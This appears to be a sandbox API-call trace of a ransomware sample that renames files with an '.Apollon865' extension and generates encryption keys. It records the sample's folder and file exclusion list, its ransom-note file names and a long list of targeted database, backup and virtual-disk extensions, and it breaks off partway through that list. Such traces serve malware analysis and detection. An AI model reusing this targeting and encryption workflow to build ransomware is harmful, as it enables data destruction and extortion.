	[0082.201] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.201] lstrlenW (lpString="wdb") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.201] lstrlenW (lpString="wmdb") returned 4
	[0082.201] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.201] lstrlenW (lpString="wrk") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.201] lstrlenW (lpString="xdb") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.201] lstrlenW (lpString="xld") returned 3
	[0082.201] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.201] lstrlenW (lpString="xmlff") returned 5
	[0082.201] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.201] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll.Apollon865") returned 81
	[0082.201] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.203] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\wwintl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.203] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=148320) returned 1
	[0082.203] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.203] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.204] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.204] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.204] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.204] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24660, lpName=0x0) returned 0x15c
	[0082.206] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24660) returned 0x120000
	[0082.221] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.222] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.222] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.222] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.222] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0082.222] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.222] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0082.222] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.222] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0082.224] CloseHandle (hObject=0x15c) returned 1
	[0082.224] CloseHandle (hObject=0x9c) returned 1
	[0082.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.224] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.225] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2a9c700, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa2a9c700, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x110b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="WWINTL~2.TRX")) returned 1
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".") returned 1
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="..") returned 1
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="windows") returned 1
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="bootmgr") returned 1
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="temp") returned 1
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="pagefile.sys") returned 1
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="boot") returned 1
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="ids.txt") returned 1
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="perflogs") returned 1
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="MSBuild") returned 1
	[0082.225] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0082.225] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll") returned 70
	[0082.225] lstrcpyW (in: lpString1=0x119e670, lpString2="WWINTL.REST.trx_dll" | out: lpString1="WWINTL.REST.trx_dll") returned="WWINTL.REST.trx_dll"
	[0082.225] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0082.225] lstrlenW (lpString="Apollon865") returned 10
	[0082.225] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0082.225] lstrlenW (lpString=".dll") returned 4
	[0082.225] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0082.225] lstrlenW (lpString=".lnk") returned 4
	[0082.226] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0082.226] lstrlenW (lpString=".ini") returned 4
	[0082.226] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0082.226] lstrlenW (lpString=".sys") returned 4
	[0082.226] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0082.226] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0082.226] lstrlenW (lpString="bak") returned 3
	[0082.226] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.226] lstrlenW (lpString="ba_") returned 3
	[0082.226] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.226] lstrlenW (lpString="dbb") returned 3
	[0082.226] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.226] lstrlenW (lpString="vmdk") returned 4
	[0082.226] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.226] lstrlenW (lpString="rar") returned 3
	[0082.226] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.226] lstrlenW (lpString="zip") returned 3
	[0082.226] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.226] lstrlenW (lpString="tgz") returned 3
	[0082.226] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.226] lstrlenW (lpString="vbox") returned 4
	[0082.226] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.226] lstrlenW (lpString="vdi") returned 3
	[0082.226] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.226] lstrlenW (lpString="vhd") returned 3
	[0082.226] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.226] lstrlenW (lpString="vhdx") returned 4
	[0082.226] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.226] lstrlenW (lpString="avhd") returned 4
	[0082.226] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.226] lstrlenW (lpString="db") returned 2
	[0082.226] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.226] lstrlenW (lpString="db2") returned 3
	[0082.226] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.226] lstrlenW (lpString="db3") returned 3
	[0082.226] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.226] lstrlenW (lpString="dbf") returned 3
	[0082.227] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.227] lstrlenW (lpString="mdf") returned 3
	[0082.227] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.227] lstrlenW (lpString="mdb") returned 3
	[0082.227] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.227] lstrlenW (lpString="sql") returned 3
	[0082.227] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.227] lstrlenW (lpString="sqlite") returned 6
	[0082.227] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.227] lstrlenW (lpString="sqlite3") returned 7
	[0082.227] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.227] lstrlenW (lpString="sqlitedb") returned 8
	[0082.227] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.227] lstrlenW (lpString="xml") returned 3
	[0082.227] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.227] lstrlenW (lpString="$er") returned 3
	[0082.227] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.227] lstrlenW (lpString="4dd") returned 3
	[0082.227] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.227] lstrlenW (lpString="4dl") returned 3
	[0082.227] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.227] lstrlenW (lpString="^^^") returned 3
	[0082.227] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.227] lstrlenW (lpString="abs") returned 3
	[0082.227] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.227] lstrlenW (lpString="abx") returned 3
	[0082.227] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.227] lstrlenW (lpString="accdb") returned 5
	[0082.227] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.227] lstrlenW (lpString="accdc") returned 5
	[0082.227] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.227] lstrlenW (lpString="accde") returned 5
	[0082.227] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.227] lstrlenW (lpString="accdr") returned 5
	[0082.227] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.227] lstrlenW (lpString="accdt") returned 5
	[0082.227] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.227] lstrlenW (lpString="accdw") returned 5
	[0082.227] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.228] lstrlenW (lpString="accft") returned 5
	[0082.228] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.228] lstrlenW (lpString="adb") returned 3
	[0082.228] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.228] lstrlenW (lpString="adb") returned 3
	[0082.228] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.228] lstrlenW (lpString="ade") returned 3
	[0082.228] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.228] lstrlenW (lpString="adf") returned 3
	[0082.228] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.228] lstrlenW (lpString="adn") returned 3
	[0082.228] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.228] lstrlenW (lpString="adp") returned 3
	[0082.228] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.228] lstrlenW (lpString="alf") returned 3
	[0082.228] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.228] lstrlenW (lpString="ask") returned 3
	[0082.228] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.228] lstrlenW (lpString="btr") returned 3
	[0082.228] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.228] lstrlenW (lpString="cat") returned 3
	[0082.228] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.228] lstrlenW (lpString="cdb") returned 3
	[0082.228] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.228] lstrlenW (lpString="ckp") returned 3
	[0082.228] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.228] lstrlenW (lpString="cma") returned 3
	[0082.228] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.228] lstrlenW (lpString="cpd") returned 3
	[0082.229] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.229] lstrlenW (lpString="dacpac") returned 6
	[0082.229] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.229] lstrlenW (lpString="dad") returned 3
	[0082.229] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.229] lstrlenW (lpString="dadiagrams") returned 10
	[0082.229] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0082.229] lstrlenW (lpString="daschema") returned 8
	[0082.229] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.229] lstrlenW (lpString="db-journal") returned 10
	[0082.229] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0082.229] lstrlenW (lpString="db-shm") returned 6
	[0082.229] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.229] lstrlenW (lpString="db-wal") returned 6
	[0082.229] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.229] lstrlenW (lpString="dbc") returned 3
	[0082.229] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.229] lstrlenW (lpString="dbs") returned 3
	[0082.229] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.229] lstrlenW (lpString="dbt") returned 3
	[0082.229] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.229] lstrlenW (lpString="dbv") returned 3
	[0082.229] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.229] lstrlenW (lpString="dbx") returned 3
	[0082.229] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.229] lstrlenW (lpString="dcb") returned 3
	[0082.229] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.229] lstrlenW (lpString="dct") returned 3
	[0082.229] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.229] lstrlenW (lpString="dcx") returned 3
	[0082.229] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.229] lstrlenW (lpString="ddl") returned 3
	[0082.229] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.229] lstrlenW (lpString="dlis") returned 4
	[0082.229] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.229] lstrlenW (lpString="dp1") returned 3
	[0082.229] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.229] lstrlenW (lpString="dqy") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.230] lstrlenW (lpString="dsk") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.230] lstrlenW (lpString="dsn") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.230] lstrlenW (lpString="dtsx") returned 4
	[0082.230] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.230] lstrlenW (lpString="dxl") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.230] lstrlenW (lpString="eco") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.230] lstrlenW (lpString="ecx") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.230] lstrlenW (lpString="edb") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.230] lstrlenW (lpString="epim") returned 4
	[0082.230] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.230] lstrlenW (lpString="fcd") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.230] lstrlenW (lpString="fdb") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.230] lstrlenW (lpString="fic") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.230] lstrlenW (lpString="flexolibrary") returned 12
	[0082.230] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0082.230] lstrlenW (lpString="fm5") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.230] lstrlenW (lpString="fmp") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.230] lstrlenW (lpString="fmp12") returned 5
	[0082.230] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.230] lstrlenW (lpString="fmpsl") returned 5
	[0082.230] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.230] lstrlenW (lpString="fol") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.230] lstrlenW (lpString="fp3") returned 3
	[0082.230] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.231] lstrlenW (lpString="fp4") returned 3
	[0082.231] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.231] lstrlenW (lpString="fp5") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.232] lstrlenW (lpString="fp7") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.232] lstrlenW (lpString="fpt") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.232] lstrlenW (lpString="frm") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.232] lstrlenW (lpString="gdb") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.232] lstrlenW (lpString="gdb") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.232] lstrlenW (lpString="grdb") returned 4
	[0082.232] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.232] lstrlenW (lpString="gwi") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.232] lstrlenW (lpString="hdb") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.232] lstrlenW (lpString="his") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.232] lstrlenW (lpString="ib") returned 2
	[0082.232] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.232] lstrlenW (lpString="idb") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.232] lstrlenW (lpString="ihx") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.232] lstrlenW (lpString="itdb") returned 4
	[0082.232] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.232] lstrlenW (lpString="itw") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.232] lstrlenW (lpString="jet") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.232] lstrlenW (lpString="jtx") returned 3
	[0082.232] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.233] lstrlenW (lpString="kdb") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.233] lstrlenW (lpString="kexi") returned 4
	[0082.233] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.233] lstrlenW (lpString="kexic") returned 5
	[0082.233] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.233] lstrlenW (lpString="kexis") returned 5
	[0082.233] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.233] lstrlenW (lpString="lgc") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.233] lstrlenW (lpString="lwx") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.233] lstrlenW (lpString="maf") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.233] lstrlenW (lpString="maq") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.233] lstrlenW (lpString="mar") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.233] lstrlenW (lpString="marshal") returned 7
	[0082.233] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.233] lstrlenW (lpString="mas") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.233] lstrlenW (lpString="mav") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.233] lstrlenW (lpString="maw") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.233] lstrlenW (lpString="mdbhtml") returned 7
	[0082.233] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.233] lstrlenW (lpString="mdn") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.233] lstrlenW (lpString="mdt") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.233] lstrlenW (lpString="mfd") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.233] lstrlenW (lpString="mpd") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.233] lstrlenW (lpString="mrg") returned 3
	[0082.233] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.234] lstrlenW (lpString="mud") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.234] lstrlenW (lpString="mwb") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.234] lstrlenW (lpString="myd") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.234] lstrlenW (lpString="ndf") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.234] lstrlenW (lpString="nnt") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.234] lstrlenW (lpString="nrmlib") returned 6
	[0082.234] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.234] lstrlenW (lpString="ns2") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.234] lstrlenW (lpString="ns3") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.234] lstrlenW (lpString="ns4") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.234] lstrlenW (lpString="nsf") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.234] lstrlenW (lpString="nv") returned 2
	[0082.234] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.234] lstrlenW (lpString="nv2") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.234] lstrlenW (lpString="nwdb") returned 4
	[0082.234] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.234] lstrlenW (lpString="nyf") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.234] lstrlenW (lpString="odb") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.234] lstrlenW (lpString="odb") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.234] lstrlenW (lpString="oqy") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.234] lstrlenW (lpString="ora") returned 3
	[0082.234] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.234] lstrlenW (lpString="orx") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.235] lstrlenW (lpString="owc") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.235] lstrlenW (lpString="p96") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.235] lstrlenW (lpString="p97") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.235] lstrlenW (lpString="pan") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.235] lstrlenW (lpString="pdb") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.235] lstrlenW (lpString="pdm") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.235] lstrlenW (lpString="pnz") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.235] lstrlenW (lpString="qry") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.235] lstrlenW (lpString="qvd") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.235] lstrlenW (lpString="rbf") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.235] lstrlenW (lpString="rctd") returned 4
	[0082.235] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.235] lstrlenW (lpString="rod") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.235] lstrlenW (lpString="rodx") returned 4
	[0082.235] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.235] lstrlenW (lpString="rpd") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.235] lstrlenW (lpString="rsd") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.235] lstrlenW (lpString="sas7bdat") returned 8
	[0082.235] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.235] lstrlenW (lpString="sbf") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.235] lstrlenW (lpString="scx") returned 3
	[0082.235] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
